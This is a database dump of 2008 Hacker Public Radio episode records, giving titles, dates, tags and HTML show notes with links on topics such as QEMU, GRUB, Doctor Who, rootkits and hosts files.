(44,'2008-02-28','My desktop, and the apps I use everyday',1470,'A show about my desktop, and the apps I use everyday','<a href=\"https://www.blosxom.com/\">blosxom</a>;<br>\r\n<a href=\"https://emelfm2.net/\">emelfm2</a>;<br>\r\n<a href=\"https://www.openssh.com/\">openssh</a>;<br>\r\n<a href=\"https://fuse.sourceforge.net/sshfs.html\">sshfs</a>;<br>\r\n<a href=\"https://fuse.sourceforge.net/\">fuse</a>;<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Files_transferred_over_shell_protocol\">fish protocol</a>;<br>\r\n<a href=\"https://stormsiren.sourceforge.net/\">stormsiren</a>;<br>\r\n<a href=\"https://fluxbox.sourceforge.net/\">fluxbox</a>;<br>\r\n<a href=\"https://www.dugnet.org/klown/wallpaper/show.php?id=_themes/_fluxbox/nuevat3k-glacier\">nuevat3k-glacier fluxbox theme</a>;<br>\r\n<a href=\"https://www.gnu.org/software/screen/\">screen</a>;<br>\r\n<a href=\"https://members.dslextreme.com/users/billw/gkrellm/gkrellm.html\">gkrellm</a>;<br>\r\n<a href=\"https://gkrellkam.sourceforge.net/\">gkrellkam</a>;<br>\r\n<a href=\"https://www.mozilla.com/en-US/firefox/\">firefox</a>;<br>\r\n<a href=\"https://addons.mozilla.org/en-US/firefox/addon/1122\">tab mix plus</a>;<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Google_Notebook\">google notebook</a>;<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Konqueror\">konqueror</a>;<br>\r\n<a href=\"https://www.vim.org/\">vim</a>;<br>\r\n<a href=\"https://www.softwaregarden.com/products/listgarden/\">listgarden</a>;<br>\r\n<a href=\"https://audacity.sourceforge.net/\">audacity</a>;<br>\r\n<a href=\"https://easytag.sourceforge.net/\">easytag</a>;<br>\r\n<a href=\"https://www.musicpd.org/\">music player daemon</a>;<br>\r\n<a href=\"https://gftp.seul.org/\">gftp</a>; and<br>\r\n<a href=\"https://www.xchat.org/\">xchat</a>.',77,0,1,'CC-BY-NC-SA','Applications,\"Daily used software\",Audio,Linux',0,2460,1),
(45,'2008-03-03','Shell Scripting',719,'An overview of shell scripting','Dosman, gets the daily gas price report read to him by his computer. Why? - because he can. He knows shell scripting, and can manipulate commands to get things done. Here, he discusses shell scripts, and how he uses them to automate tasks on his computers. \r\n<br>\r\n<br>\r\nShownotes by: diggsit',3,0,1,'CC-BY-NC-SA','shell,scripts,scripting,perl,sed,awk',0,2072,1),
(46,'2008-03-03','Yahoo Pipes',2023,'A show about Yahoo Pipes','The companion screencast for this show can be found \r\n<a href=\"https://www.youtube.com/watch?v=8Zcu6f9_WJ4\">here</a> and <br>\r\n\r\n<a href=\"https://www.youtube.com/watch?v=-ib4Tx2VlXE\">here</a>. <br>\r\nLinks referenced in this show:\r\n<ul>\r\n<li><a href=\"https://pipes.yahoo.com\">Yahoo! Pipes</a>\r\n<li><a href=\"https://themolly.com\">Molly Wood\'s Blog</a>\r\n<li><a href=\"https://bol.cnet.com\">Buzz Out Lout</a>\r\n<li><a href=\"https://digg.com\">Digg</a>\r\n<li><a href=\"https://www.techmeme.com\">Techmeme</a>\r\n<li><a href=\"https://scobleizer.com\">Scobleizer</a>\r\n<li><a href=\"https://pn72.com\">Peter\'s Blog</a>\r\n<li><a href=\"https://iblogscott.wordpress.com\">Scott\'s Blog</a>\r\n<li><a href=\"https://freshubuntu.org\">Fresh Ubuntu</a>\r\n</ul>',74,0,1,'CC-BY-NC-SA','Yahoo,\"Yahoo pipes\",Ubuntu,Linux',0,2323,1),
(47,'2008-03-05','Sys Internals Part 2',2272,'Sys Internals Part 2 a follow up to hpr0040','part 2 of the sys internals series with Xoke',79,0,1,'CC-BY-NC-SA','Microsoft, sys internal suite',0,2173,1),
(48,'2008-03-06','Virtualization Part 2: Qemu quickstart',926,'A QEMU getting started guide from deepgeek using Knoppix and FreeBSD','\r\nThe commands: <br>\r\n=================================== <br>\r\nqemu -soundhw es1370 -cdrom knoppix-std-0.1.iso <br>\r\ntar -xvf freebsd6.1rel.qcow.img20060526.tar <br>\r\ncd freebsd6.1rel.qcow.img <br>\r\nqemu-img info freebsd6.1rel.qcow.img <br>\r\ncat README <br>\r\nqemu freebsd6.1rel.qcow.img <br>\r\n<br>\r\n\r\nThe Links: <br>\r\n================================== <br>\r\n<a href=\"https://fabrice.bellard.free.fr/qemu/\"> https://fabrice.bellard.free.fr/qemu/ </a> <br>\r\n<a href=\"https://www.oszoo.org/wiki/index.php/Category:OS_images\"> https://www.oszoo.org/wiki/index.php/Category:OS_images </a> <br>\r\n<a href=\"https://www.knoppix-std.org/download.html\"> https://www.knoppix-std.org/download.html </a> <br>',73,8,1,'CC-BY-NC-SA','qemu,virtualization, virtual machines, tutorial, Knoppix, FreeBSD',0,1573,1),
(49,'2008-03-07','XPlane',641,'Introduction and quick start for using XPlane, version 7.','Operat0r, is on approach at KLAX, runway 07R.  Will he make it? - maybe not.  He can crash and live to tell the tale with his X-Plane flight simulator.  X-Plane is a proprietary, multi-platform, flight simulation program.  While, he\'s no flight instructor, Operat0r\'s got a \'system\' for landing X-Planes. <br>\r\n<a href=\"https://x-plane.com\"> https://x-plane.com </a> <br>\r\n<a href=\"https://www.atcmonitor.com\"> https://www.atcmonitor.com </a> <br>\r\n<a href=\"https://stoenworks.com/Aviation%20home%20page.html\"> https://stoenworks.com/Aviation%20home%20page.html </a> <br>\r\n<a href=\"https://xplane.org/\"> \r\nhttps://xplane.org/ </a> <br>\r\n<br>\r\nShownotes by: diggsit\r\n',36,0,1,'CC-BY-NC-SA','flight simulators,xplane',0,1292,1),
(50,'2008-03-10','Linux Boot Process Part 2B - Grub',2782,'A further show about the Linux Boot Process - Grub','GRUB - Grand Unified Bootloader <br>\r\n\r\nThe bootloader of the gods. <br>\r\n\r\n<a href=\"https://www.gnu.org/software/grub\">Grub Website</a> <br>\r\n<a href=\"https://www.gnu.org/software/manual\">Grub Manual</a> <br>\r\n<a href=\"https://www.thelinuxlink.net/~dann/grub-bootloader.txt\">Dann\'s Notes</a> <br>',7,6,1,'CC-BY-NC-SA','Linux,\"Boot process\",Grub',0,2151,1),
(51,'2008-03-11','TalkBox',697,'A show about Talk Box','<a href=\"https://en.wikipedia.org/wiki/Talk_box\"> https://en.wikipedia.org/wiki/Talk_box </a> <br>\r\n<a href=\"https://www.instructables.com/id/SN6RLCIF4LPLSYA/\">https://www.instructables.com/id/SN6RLCIF4LPLSYA/ </a> <br> \r\n<a href=\"https://www.instructables.com/id/%22Talk-Box%22/\"> https://www.instructables.com/id/%22Talk-Box%22/ </a> <br>\r\n<a href=\"https://www.youtube.com/watch?v=9EIQxwotn3k\"> https://www.youtube.com/watch?v=9EIQxwotn3k </a> <br>',48,0,1,'CC-BY-NC-SA','Music,\"sound modification\",\"sound effects\",\"Talk Box\"',0,1382,1),
(52,'2008-03-12','UCLUG: Newbie Shell Scripting',2172,'A talk from UCLUG with an introduction to shell scripting','Upstate Carolina Linux User Group: Jas Eckard gives a talk aimed at newbies on shell scripting. <br>\r\n<br>\r\n<a href=\"https://www.uclug.org\">Upstate Carolina Linux User Group</a>\r\n',77,0,1,'CC-BY-NC-SA','shell,scripts,scripting',0,1314,1),
(53,'2008-03-13','Codecs Part 4',1047,'Proprietary and OGG codecs discussed plus a Theora tutorial for Linux command line.','In this final episode of the series, Klaatu covers some proprietary codec packages. He then explains how to use free software and the linux command line to transcode a video using the open codec, Theora. <br>\r\n\r\n<a href=\"https://theora.org/\">https://theora.org/ </a> <br>\r\n\r\n<a href=\"https://linuxreviews.org/man/ffmpeg2theora/\"> https://linuxreviews.org/man/ffmpeg2theora/ </a> <br>\r\n<br>\r\nShownotes by: diggsit',78,0,0,'CC-BY-NC-SA','codec, OGG, Vorbis, Theora, tutorial',0,2083,1),
(54,'2008-03-13','This Old Hack Part 6',408,'a further show by this old Hack','fawkesfyres latest tale of hacking',75,5,1,'CC-BY-NC-SA','Hacking,\"Well House\",Wells,Fixing,\"led head light\"',0,1322,1),
(55,'2008-03-17','Slax',942,'Installing Slax and the cool things you can do with thumbdrive installation','<a href=\"https://www.slax.org\"> https://www.slax.org </a> <br>\r\n<a href=\"https://en.wikipedia.org/wiki/St._patricks_day\"> https://en.wikipedia.org/wiki/St._patricks_day </a> <br> ',78,0,0,'CC-BY-NC-SA','slax,installation,howto,tutorial,usbdrive,thumb drive',0,2231,1),
(56,'2008-03-18','Open Street Map',608,'Ken encourages people to add to Open Street Map','<a href=\"https://www.openstreetmap.org\"> openstreetmap.org </a> <br>',30,0,1,'CC-BY-NC-SA','\"Open Street Map\",GPS,POI',0,1986,1),
(57,'2008-03-19','LPI Certifications Part 3',1119,'Ken covers how disks are dealt with in Linux','<a href=\"https://www.kenfallon.com\"> https://www.kenfallon.com </a> <br>\r\n<a href=\"https://www.acsdata.com/how-a-hard-drive-works.htm\"> https://www.acsdata.com/how-a-hard-drive-works.htm </a> <br>\r\n<a href=\"https://tldp.org/HOWTO/Large-Disk-HOWTO-4.html\"> https://tldp.org/HOWTO/Large-Disk-HOWTO-4.html </a> <br>\r\n<a href=\"https://www.storagereview.com/guide2000/ref/hdd/bios/sizeMB504.html\"> https://www.storagereview.com/guide2000/ref/hdd/bios/sizeMB504.html </a> <br>',30,7,1,'CC-BY-NC-SA','LPI,\"hard disks\"',0,2184,1),
(58,'2008-03-20','Microcontrollers',1549,'Microcontroller description and how you can make use of them.','<a href=\"https://www.atmel.com/products/avr/default.asp\">  General page about avr products </a> <br>\r\n<a href=\"https://winavr.sourceforge.net/\"> free c compiler for avr </a> <br>\r\n<a href=\"https://www.avrfreaks.net/\"> forum for avr people, also has lot of projects </a> <br>\r\n',81,0,1,'CC-BY-NC-SA','microcontroller, pic, avr, 8-bit, maker',0,2026,1),
(59,'2008-03-21','Interview with scorche',595,'Interview with scorche from the Rockbox Project ','Interview with scorche from the <a href=https://www.rockbox.org/> Rockbox Project </a> <br>',78,78,0,'CC-BY-NC-SA','Interview,Rockbox Project',0,1284,1),
(60,'2008-03-24','Claws Email client',510,'The start of a lightweight applications series: review of Claws Mail.','deepgeek talks about a lightweight app called claws',73,11,1,'CC-BY-NC-SA','email, claws, lightweight, review',0,1458,1),
(61,'2008-03-25','Punk Computing',900,'How not to get stuck by the man, while sticking it to the man.','How not to get stuck by the man, while sticking it to the man. <br>\r\n<br>\r\nShownotes by: diggsit\r\n',78,0,0,'CC-BY-NC-SA','Punks,Computing,Anarchists,\"anti establishment\"',0,1516,1),
(62,'2008-03-26','More than a wii bit of fun with the Wiimote',1324,'More than a Wii bit of fun with the Wiimote','<p>\r\n<!-- <a href=\"https://www.wiili.org\"> https://www.wiili.org  </a> <br> -->\r\n<a href=\"https://web.archive.org/web/20090611221454/http://www.wiili.org/index.php/Main_Page\"> https://www.wiili.org  </a> <br>\r\n<!-- <a href=\"https://www.wiili.org/index.php/How_To:_Windows_Wiimote\"> https://www.wiili.org/index.php/How_To:_Windows_Wiimote     </a> <br> -->\r\n<a href=\"https://web.archive.org/web/20090420014250/http://www.wiili.org/index.php/How_To:_Windows_Wiimote\"> https://www.wiili.org/index.php/How_To:_Windows_Wiimote     </a> <br>\r\n<!-- <a href=\"https://twatech.org/shownotes/Wii-Saber1.PIE\">   Wii-Saber code </a> <br> -->\r\n<a href=\"https://web.archive.org/web/20090915190156/http://twatech.org/shownotes/Wii-Saber1.PIE\">   Wii-Saber code </a> <br>\r\n(See the following link for an alternative to <code>http://rapidshare.com/files/7731954/WiinSaber_v1.1.rar.html</code> <a href=\"https://web.archive.org/web/20070705005834/http://isnoop.net/apps/WiiSaber_1.0B1.zip\">https://web.archive.org/web/20070705005834/http://isnoop.net/apps/WiiSaber_1.0B1.zip</a>)<br>\r\n<!-- <a href=\"https://twatech.org/shownotes/lightsaber%20sounds/\"> Light saber sounds </a> <br> -->\r\n<a href=\"https://web.archive.org/web/20101227045628/http://twatech.org/shownotes/lightsaber%20sounds\"> Light saber sounds </a> <br>\r\n<!-- <a href=\"https://twatech.org/shownotes/Wiimote_mouse_test1.PIE\"> Wiimote Mouse code </a> <br>  -->\r\n<a href=\"https://web.archive.org/web/20081112052642/http://twatech.org/shownotes/Wiimote_mouse_test1.PIE\"> Wiimote Mouse code </a>\r\n</p>\r\n\r\n<p><small><small><em>Editor\'s Note 2022-09-16: </em>The above links have all been redirected to the Wayback Machine (archive.org) because they were no longer working.</small></small></p>\r\n',25,0,1,'CC-BY-NC-SA','\"Games console\",Wii,Wiimote,hacking,Linux',0,1981,1),
(63,'2008-03-27','WebCalendar',554,'A show about the WebCalendar tool','<a href=\"https://www.k5n.us/webcalendar.php\"> WebCalendar </a> <br>\r\n<a href=\"https://www.k5n.us/wiki/index.php?title=Main_Page\"> WebCalendar wiki </a> <br>\r\n<a href=\"https://www.hackerevents.org\"> Hackerevents </a> <br>',39,0,1,'CC-BY-NC-SA','\"server calendar apps\",\"database tools\",servers,RSS',0,8133,1),
(64,'2008-03-28','Tech Music: Payphone under Streetlight',361,'The Tech Music series presents the track \'Payphone under Streetlight\' ','\r\n\r\ncheck out his other tracks at: <br>\r\n<a href=\"https://www.zombie.el.cx/music/\">https://www.zombie.el.cx/music/ </a> <br>',82,22,1,'CC-BY-NC-SA','music, technology, telephone',0,2948,1),
(65,'2008-03-31','Cowon iAudio U3 review',864,'A show about the Cowon iAudio U3','<a href=\"https://www.cowonamerica.com/products/iaudio/u3/\">Cowon iAudio U3</a> <br>',77,0,1,'CC-BY-NC-SA','\"Cowan U3\",\"Media Players\",MP3,Video',0,2073,1),
(66,'2008-03-31','April Fools Day Traditions',897,'StankDawg discusses some famous April Fools Jokes and provides some suggestions to find others','.ǝuı1uo sʞuɐɹd ʎɐp s1ooɟ s1ıɹdɐ ʎuunɟ puıɟ oʇ sǝʇıs poob ǝɯos sǝɹɐɥs puɐ sǝxɐoɥ ʎɐp s1ooɟ s1ıɹdɐ snoɯɐɟ ʇsoɯ ɥǝʇ ɟo ǝɯos sǝssnɔsıp bʍɐpʞuɐʇs \'ǝposıdǝ sıɥʇ uı',55,0,1,'CC-BY-NC-SA','jokes, tricks, pranks, stories, hoaxes, fun',0,1594,1),
(67,'2008-04-02','k-meleon',787,'A show about the k-meleon web browser','<a href=\"https://k-meleon.org/\">https://k-meleon.org/ </a> <br>\r\n<a href=\"https://adblockplus.org/en/kmeleon\"> https://adblockplus.org/en/kmeleon </a> <br>\r\n<a href=\"https://madrush.freehostia.com/img/k-meleon-ss1.jpg\"> Screenshot </a> <br>',83,0,1,'CC-BY-NC-SA','\"web browsers\"',0,1501,1),
(68,'2008-04-03','Shoulder Stretches!',678,'A show about repetitive strain injuries','<p>The companion screencast for this show can be found \r\n<a href=\"https://www.youtube.com/watch?v=8Zcu6f9_WJ4\">here</a> and\r\n\r\n<a href=\"https://www.youtube.com/watch?v=-ib4Tx2VlXE\">here</a>.\r\n</p>\r\nLinks referenced in this show:\r\n<ul>\r\n<li><a href=\"https://pipes.yahoo.com\">Yahoo! Pipes</a>\r\n<li><a href=\"https://themolly.com\">Molly Wood\'s Blog</a>\r\n<li><a href=\"https://bol.cnet.com\">Buzz Out Lout</a>\r\n<li><a href=\"https://digg.com\">Digg</a>\r\n<li><a href=\"https://www.techmeme.com\">Techmeme</a>\r\n<li><a href=\"https://scobleizer.com\">Scobleizer</a>\r\n<li><a href=\"https://pn72.com\">Peter\'s Blog</a>\r\n<li><a href=\"https://iblogscott.wordpress.com\">Scott\'s Blog</a>\r\n<li><a href=\"https://freshubuntu.org\">Fresh Ubuntu</a>\r\n</ul>',74,0,1,'CC-BY-NC-SA','\"repetitive strain\",computing,\"preventative exercises\"',0,2152,1),
(69,'2008-04-04','There\'s Pr0n on them there internets!',2988,'StankDawg and T.T. Creamer discuss some history of pr0n on the internet.','<hr />\r\n<h3>Counter Point</h3>\r\n<p>A counter point to this show is available: <a href=\"https://hackerpublicradio.org/eps.php?id=0586\">hpr0586 :: Miscellaneous Radio Theater 4096- The Internet is For Porn</a>\r\n</p>\r\n<hr />\r\n<p>\r\n\"In this light-hearted VNSFW (VERY NOT SAFE FOR WORK) episode 69 of HPR, StankDawg\'s alter ego \"Buck Dangler\" joins up with \"T.T. Creamer\" (deepgeek) to discuss some history of pr0n on the internet.  They also discuss many places to find different types of pr0n and conclude with a technical analysis of many dangerous sexual positions that have become popular in some internet subcultures. <br>\r\n<br>\r\nTO CLARIFY:  THIS EPISODE IS NOT SAFE FOR WORK\"\r\n</p>\r\n',55,0,1,'CC-BY-NC-SA','pornography,porn',0,1985,1),
(70,'2008-04-07','Dr. Who',1031,'The origins and background of the series \'Doctor Who\' from the BBC','Official Sites:<br>\r\n<br>\r\n<a href=\"https://www.bbc.co.uk/doctorwho/\">Official Site</a><br>\r\n<a href=\"https://www.youtube.com/user/BBC\">BBC You Tube page</a> (other non-Who stuff here also)<br>\r\n<br>\r\n<br>\r\nVarious You Tube VIdeos:<br>\r\n<a href=\"https://www.youtube.com/watch?v=qfEPQqHx40c\">Series 4 Trailer</a>.&nbsp; Although the BBC have this you can\'t watch it outside the UK.&nbsp; This one you can.<br>\r\n<br>\r\nSome of my favourite episodes (links to Wiki page for full story and spoilers):<br>\r\n<br>\r\n<a href=\"https://en.wikipedia.org/wiki/The_Tomb_of_the_Cybermen\">The Tomb of the Cybermen</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Terror_of_the_Autons\">The Terror of the Autons</a> - The Master (Roger Delgado) and some Autons!<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Day_of_the_Daleks\">Day of the DaleksSilver Nemesis</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/The_Sea_Devils\">The Sea Devils</a> - The Master again (and some Sea Devils)<br>\r\n<a href=\"https://en.wikipedia.org/wiki/The_Three_Doctors\">The Three Doctors</a> - Meet Omega, a Time Lord.<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Death_to_the_Daleks\">Death to the Daleks</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Planet_of_the_Spiders\">Planet of the Spiders</a> - Spiders, Time Lords, UNIT and more!<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Robot_%28Doctor_Who%29\">Robot</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Genesis_of_the_Daleks\">Genesis of the Daleks</a> - where it all began<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Revenge_of_the_Cybermen\">Revenge of the Cybermen</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Pyramids_of_Mars\">Pyramids of Mars</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/The_Brain_of_Morbius\">The Brain of Morbius</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/The_Deadly_Assassin\">The Deadly Assassin</a> - a trip to Gallifrey<br>\r\n<a href=\"https://en.wikipedia.org/wiki/The_Robots_of_Death\">The Robots of Death</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/The_Invasion_of_Time\">The Invasion of Time</a> - back to Gallifrey<br>\r\n<a href=\"https://en.wikipedia.org/wiki/List_of_Doctor_Who_serials#Season_16_.281978-79.29\">The Key to Time</a> - and entire season devoted to this<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Destiny_of_the_Daleks\">Destiny of the Daleks</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Logopolis\">Logopolis</a> - the last Tom Baker episode<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Castrovalva\">Castrovalva</a> - The first Peter Davison and the Master<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Four_to_Doomsday\">Four to Doomsday</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Earthshock\">Earthshock</a> - Cybermen!<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Arc_of_Infinity\">Arc of Infinity</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/The_Five_Doctors\">The Five Doctors</a> - (well actually four of them)<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Resurrection_of_the_Daleks\">Resurrection of the Daleks</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/The_Caves_of_Androzani\">The Caves of Androzani</a> - Peter Davison -&gt; Colin Baker<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Attack_of_the_Cybermen\">Attack of the Cybermen</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Revelation_of_the_Daleks\">Revelation of the Daleks</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Remembrance_of_the_Daleks\">Remembrance of the Daleks</a><br>\r\n<a href=\"https://en.wikipedia.org/wiki/Silver_Nemesis\">Silver Nemesis</a><br>\r\n<br>\r\nNew series are all good!<br>\r\n<br>\r\n<a href=\"https://en.wikipedia.org/wiki/Doctor_Who_tie-in_websites\">Tie-in websites</a><br>\r\n<br>\r\nGo watch it now!<br>',79,0,1,'CC-BY-NC-SA','Dr Who, TARDIS, sci-fi, BBC, television',0,2777,1),
(71,'2008-04-08','Beowulf Cluster Introduction',604,'An Introduction show about Beowulf Cluster','Deepgeek gives an introduction to the Beowulf cluster, using video encoding as a short example.',73,0,1,'CC-BY-NC-SA','\"Beowulf Cluster\",\"Cluster Computing\"',0,1510,1),
(72,'2008-04-09','Imagemagick',1341,'A show about the Imagemagick software package','klaatu gives a review of <a href=\"https://www.imagemagick.org/script/contact.php\"> Imagemagick </a> <br>',78,0,0,'CC-BY-NC-SA','\"Image processing\",Imagemagick,Linux,\"Apt packages\",\"CLI tools\"',0,2232,1),
(73,'2008-04-10','Google 411 Update',244,'Google 411 Update, Lunarsphere gives an update on his original twatech episode','Lunarsphere gives an update on his original twatech episode <br>\r\n<a href=\"https://twatech.org/eps/twat290.mp3\"> original episode </a> <br>',84,0,1,'CC-BY-NC-SA','\"Google 411\",\"conference calling\",\"free long distance calling\"',0,1430,1),
(74,'2008-04-11','UCLUG - Linux Gaming',10013,'Carolina Linux User Group Meeting, Linux Gaming','Upstate Carolina Linux User Group Meeting<p>\r\n30 minute newbie session: Jas Eckard\'s bash shell scripting for newbies;<p>\r\nMain topic: Ryan \'Icculus\' Gordon speaks about the linux gaming industry.<p>\r\n<a href=\"https://icculus.org\">icculus.org</a>',77,0,1,'CC-BY-NC-SA','\"bash shell scripting\",\"linux gaming industry. Linux\",\"New users\"',0,1393,1),
(75,'2008-04-14','Collapsar ',592,'A show about Collapsar A VM-Based Architecture for Network Attack','<p><a href=\"https://citeseer.ist.psu.edu/cache/papers/cs/31339/http:zSzzSzwww.cs.purdue.eduzSzhomeszSzdxuzSzpubszSzSecurity04.pdf/jiang04collapsar.pdf\"> Collapsar Paper </a></p>\n<h4>Editor\'s Note 2018-10-20</h4>\n<small><p>The original link above seems to to be unavailable, but the paper referenced <em>\"Collapsar: A VM-Based Architecture for Network Attack Detention Center\"</em> is still available <a href=\"https://pdfs.semanticscholar.org/3a04/43a352be1d2f41606be87490f72cdc927b64.pdf\">here</a>.</p></small>\n\n',48,8,1,'CC-BY-NC-SA','virtualization,Collapsar,\"Network security\"',0,1507,1),
(76,'2008-04-15','Tech Music: W1f1 Hax0r',320,'The Tech Music series presents the track \'W1f1 Hax0r\' ','\r\ncheck out his other tracks at: <br>\r\n<a href=\"https://www.zombie.el.cx/music/\">https://www.zombie.el.cx/music/ </a> <br>',82,22,1,'CC-BY-NC-SA','music, technology, wifi',0,4574,1),
(77,'2008-04-16','This old Hack Part 7',1440,'Another show from This Old Hack','fawkesfyres part 7 of his ongoing series',75,5,1,'CC-BY-NC-SA','\"Automobile breakdown\",\"Radiator hose failure\",\"Automobile repair\"',0,1425,1),
(78,'2008-04-17','Interview Tips',2608,'Advice for job seekers','<p>Ken Fallon gives some job application advice and interview tips for job seekers</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.monsterboard.nl/\">https://www.monsterboard.nl/</a></li>\r\n</ul>',30,0,1,'CC-BY-NC-SA','job application,job interview,CV',0,2749,1),
(79,'2008-04-18','Tech Music: PLA Radio',150,'The Tech Music series presents the track \'PLA Radio\'','check out his other tracks at: <br>\r\n<a href=\"https://www.zombie.el.cx/music/\">https://www.zombie.el.cx/music/ </a> <br>',82,22,1,'CC-BY-NC-SA','music, technology',0,1555,1),
(80,'2008-04-21','Coffee',1750,'All aspects of making the perfect cup of Coffee','klaatu talks about coffee',78,88,0,'CC-BY-NC-SA','Coffee,\"making good coffee\",\"raw coffee beans\",\"Roasting coffee beans\"',0,1463,1),
(81,'2008-04-22','Linux Boot Process Part 3 - Boot Prompt Parameters',1199,'The use and usage of boot parameters with the Linux kernel and device drivers.','<a href=\"https://www.thelinuxlink.net/~dann/boot_prompt.txt\">Dann\'s Notes</a><br />\r\n<a href=\"https://tldp.org/HOWTO/BootPrompt-HOWTO.html\">Linux Boot Prompt HowTo</a>',7,6,1,'CC-BY-NC-SA','Linux,boot process,boot parameters,boot,parameters,boot loader,LILO,GRUB,kernel,configuration',0,1487,1),
(82,'2008-04-23','Root kits',1303,'In this show Finux, gives a detailed account of how rootkits work.','Wikipedia, defines Rootkit as “.. a program designed to take fundamental control of a computer system, without authorization..”.  Rootkit means “pwned”.  In this episode, Finux, gives a detailed account of how rootkits work.  He also reveals ways to expose and - better yet - avoid them. <br>\r\noriginal audio from <a href=\"https://www.linuxbasement.com/\"> https://www.linuxbasement.com/ </a> <br>\r\nfinux discusses rootkits\r\n\r\n<br>\r\n<br>\r\nShownotes by: diggsit',85,0,1,'CC-BY-NC-SA','Rootkits,\"Computing security\",Computers',0,2349,1),
(83,'2008-04-24','Flock',1012,'Xoke rants about Doctor Who and talks about flock','Xoke rants about Doctor Who and talks about flock',79,0,1,'CC-BY-NC-SA','Doctor Who,Browser,Software,Television',0,2274,1),
(84,'2008-04-25','Phone interview with Kajarii: Linux for the blind user',4275,'Kajarii: Linux for the blind user','<a href=\"https://live.gnome.org/Orca\">Orca</a> <br>\r\n<a href=\"https://www.linux-speakup.org/\">linux speakup</a><br>\r\n<a href=\"https://www.rcsys.com/\">RC Syatems</a><br>\r\n<a href=\"https://www.mplayerhq.hu/design7/news.html\">mplayer</a><br>\r\n<a href=\"https://www.elinks.cz/\">elinks</a>; and <br>\r\n<a href=\"https://savannah.nongnu.org/projects/nmh\">nmh</a>.',77,79,1,'CC-BY-NC-SA','Linux,\"Computing for Blind users\",\"Screen readers\"',0,2302,1),
(85,'2008-04-28','Faubackup',385,'A show about the light app, Faubackup','Deepgeek reviews Faubackup <br>\r\n\r\n<a href=\"https://faubackup.sf.net\"> https://faubackup.sf.net </a> <br>',73,11,1,'CC-BY-NC-SA','Faubackups,Software,\"CLI tools\",automation',0,2143,1),
(86,'2008-04-29','Kismet',1658,'finux discusses what kismet is and how to get started using it.','original audio from <a href=\"https://www.linuxbasement.com/\"> https://www.linuxbasement.com/ </a> <br>\r\nfinux discusses kismet',85,0,1,'CC-BY-NC-SA','kismet, security, scanning, wireless, config, bluetooth, tutorial',0,2355,1),
(87,'2008-04-30','Compling a Kernel',1270,'A show on Compiling a Kernel','<ul>\r\n<li><a href=\"https://www.kernel.org\">get the latest Linux kernel source code</a></li>\r\n<li><a href=\"https://media.libsyn.com/media/dsyates/lottalinuxlinks_63.ogg\">download Dave Yates\'s Kernel Compile Episode</a></li>\r\n<li><a href=\"https://lottalinuxlinks.com/forum/viewtopic.php?f=10&t=352\">Peter64\'s Kernel Compile</a></li>\r\n<li><a href=\"https://lottalinuxlinks.com/forum/viewtopic.php?f=10&t=341\">Monsterb\'s Kernel Compile</a></li>\r\n</ul>\r\n',78,0,0,'CC-BY-NC-SA','Building a Kernel',0,1568,1),
(88,'2008-05-01','Hiding and stripping program symbols',820,'thewtex explains how to Hide and strip program symbols','thewtex explains how to Hide and strip program symbols',69,0,1,'CC-BY-NC-SA','Symbols,\"Removing symbols\",computing,computers',0,2036,1),
(89,'2008-05-02','Notacon Wrapup',1374,'A show about Notacon','<a href=\"https://www.notacon.org\"> notacon.org </a> <br>\r\n<a href=\"https://www.blockparty.us\"> blockparty </a> <br>\r\n<a href=\"https://www.bloomingtonfools.org\"> bloomingtonfools.org </a> <br>',3,0,1,'CC-BY-NC-SA','Notacon,\"lock picking\",\"art and technology\",conferences',0,2036,1),
(90,'2008-05-05','Ironman',1310,'A show about Iron Man and the new movie','<ul>\r\n<li><A href=\"https://ironmanmovie.com\">Iron Man Movie site</a>\r\n<li><A href=\"https://en.wikipedia.org/wiki/Iron_Man\">Wikipedia Article</a>\r\n<li><A href=\"https://www.imdb.com/title/tt0371746/\">IMDB page</a>\r\n<li><a href=\"https://www.marvel.com/universe/Iron_Man_(Anthony_Stark)\">Marvel\'s Iron Man page</a>\r\n</ul>',74,0,1,'CC-BY-NC-SA','\"comic books\",\"Comic book movies\",Marvel',0,3196,1),
(91,'2008-05-06','Hosts File',754,'A show about DNS and how it works','\r\nHosts file locations <br>\r\nLinux:  /etc/hosts <br>\r\nWindows:        c:\\windows\\system32\\drives\\etc\\hosts <br>\r\nMac: /private/etc/hosts file <br>\r\n<br>\r\n\r\nExample line: <br>\r\n127.0.0.1 doubleclick.net <br>\r\n<br>\r\nExample hosts file (blocking ads): <br>\r\n<a href=\"https://www.mvps.org/winhelp2002/hosts.htm\"> https://www.mvps.org/winhelp2002/hosts.htm </a> <br>\r\n<br>\r\n<a href=\"https://www.opendns.com/\"> Open DNS </a> <br>',79,0,1,'CC-BY-NC-SA','Windows,Linux,Mac,Ad Blocking,Security',0,2296,1),
(92,'2008-05-07','bugs',771,'Bug reporting and triaging as a way of getting involved with open source software and projects','klaatu talks about bug reporting\r\nand bug triaging.',78,0,0,'CC-BY-NC-SA','bugs,OSS,project,howto,triaging,bug reporting,help out',0,2193,1),
